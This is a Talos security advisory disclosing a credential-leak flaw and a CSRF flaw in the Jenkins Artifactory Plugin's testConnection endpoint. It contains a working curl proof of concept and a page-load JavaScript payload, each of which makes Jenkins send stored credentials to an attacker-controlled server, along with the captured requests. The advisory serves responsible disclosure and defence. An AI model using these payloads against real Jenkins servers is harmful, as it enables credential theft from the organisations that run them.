Talos Vulnerability Report

TALOS-2019-0787

Jenkins Artifactory Plugin information disclosure vulnerability

June 4, 2019
CVE Number

CVE-2019-10321 - CVE-2019-10322

Summary

An exploitable information disclosure vulnerability exists in the testConnection endpoint of the Jenkins Artifactory Plugin 3.2.0 and 3.2.1. As a result of this vulnerability a crafted HTTP request from a user with Overall/Read permissions - such as an anonymous user, if enabled - can cause affected versions of this plugin to disclose credentials from the Jenkins credentials database to an attacker controlled server.
In addition to the above, due to the lack of CSRF (Cross Site Request Forgery) token validation on these endpoints, this vulnerability may be exploited via CSRF.

Tested Versions

Jenkins Artifactory Plugin 3.2.1 Jenkins Artifactory Plugin 3.2.0

Product URLs

https://www.jfrog.com/confluence/display/RTF/Jenkins+Artifactory+Plug-in https://github.com/jenkinsci/artifactory-plugin

CVSSv3 Score

6.8 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N

CWE

CWE-285: Improper Authorization

Details

The Jenkins Artifactory Plugin brings Artifactory's Build Integration support to Jenkins.

CVE-2019-10322 - doTestConnection missing permission check

This vulnerability exists in the testConnection endpoint exposed by the doTestConnection method of org.jfrog.hudson.ArtifactoryBuilder due to missing Jenkins permissions check. To exploit this vulnerability an attacker must know the credential identifier of the credential to leak. This said, this information can be obtained via a number of means, such as additional information disclosure vulnerabilities in this, and other, Jenkins plugins (see TALOS-2019-0846).

Due to the way in which this plugin expects to authenticate against the remote Artifactory instance, the credentials associated with the attacker specified credentialsId are base64-encoded and submitted as part of the HTTP Authorization header to the attacker-controlled server. An example of this attack against a Jenkins 2.165 instance running a vulnerable version of this plugin and configured to allow anonymous read access has been provided below.

# Send credentials to an attacker's server (http://192.0.2.1:7000?).
# The trailing '?' is to ensure that the expected path is appended as a
# query parameter, rather than part of the query path.
$ curl -s -X GET -G \
    -d 'artifactoryUrl=http://192.0.2.1:7000/?' \
    -d 'connectionRetry=0' \
    -d 'useCredentialsPlugin=true' \
    -d 'credentialsId=287fcbe2-177e-4108-ac58-efdc0a507376' \
    'http://jenkins.docker.local:8080/descriptorByName/org.jfrog.hudson.ArtifactoryBuilder/testConnection'

The request submitted by the plugin to the remote server as an HTTP GET, will appear similar to the following:

# First request from Jenkins (GET)
/?/api/system/version
Host: 192.0.2.1:7000
Connection: Keep-Alive
User-Agent: ArtifactoryBuildClient/2.13.3
Accept-Encoding: gzip,deflate
Authorization: Basic U2VjdXJlVXNlcm5hbWU6U2VjdXJlUGFzc3dvcmRPaE5v

It is worth noting that as the response from the attacker-controlled server is not in the expected format, the plugin will raise an error but not render the response.

CVE-2019-10321 - doTestConnection CSRF

This vulnerability exists in the testConnection endpoint exposed by the doTestConnection method of org.jfrog.hudson.ArtifactoryBuilder due to missing CSRF validation.

The payload below could be embedded in a webpage and will successfully execute a request against the target Jenkins instance on page load. Due to lack of CSRF validation in the plugin, and lack of additional mitigations such as SameSite Cookie attribute, this JSONP (JSON with padding) request will utilize any currently authenticated Jenkins sessions for the configured target. This payload has been confirmed working in Safari 12.1.1 (14607.2.6.1.1) and Google Chrome 74.0.3729.169.

It's worth noting that despite the use of JSONP, the response content is not accessible due to a MIME type mismatch (application/json versus application/javascript) and explicit X-Content-Type: nosniff header being returned by Jenkins. This said, the request will still execute as expected, performing an onward request to the attacker's server (specified by the artifactoryUrl parameter) containing the credentials associated with the specified credentialsId.

<!-- Perform request in the background. This proof-of-concept requires jQuery. -->
<script>
  $(document).ready(function() {
    target = 'http://jenkins.docker.local:8080'
    $.ajax({
        url: target + "/descriptorByName/org.jfrog.hudson.ArtifactoryBuilder/testConnection",
        jsonp: "jsonp",
        dataType: "jsonp",
        data: {
            artifactoryUrl: "http://192.0.2.1:7000/?",
            connectionRetry: "0",
            useCredentialsPlugin: "true",
            credentialsId: "287fcbe2-177e-4108-ac58-efdc0a507376",
            pretty: true,
        },
        success: function(data) {}
    });
  });
</script>

The request submitted by the plugin to the remote server as an HTTP GET, will appear similar to the following:

# First request from Jenkins (GET)
/?/api/system/version
Host: 192.0.2.1:7000
Connection: Keep-Alive
User-Agent: ArtifactoryBuildClient/2.13.3
Accept-Encoding: gzip,deflate
Authorization: Basic U2VjdXJlVXNlcm5hbWU6U2VjdXJlUGFzc3dvcmRPaE5v

Mitigation

Until such time that the vendor produces a patched version, this plugin should be disabled (if possible), or unnecessary users with Overall/Read permissions removed (such as anonymous access).

Credit

Discovered by Peter Adkins of Cisco Umbrella.

Timeline

2019-03-12 - Vendor Disclosure
2019-05-28 - Vendor Patched
2019-06-04 - Public Release

Credit

Discovered by Peter Adkins of Cisco Umbrella.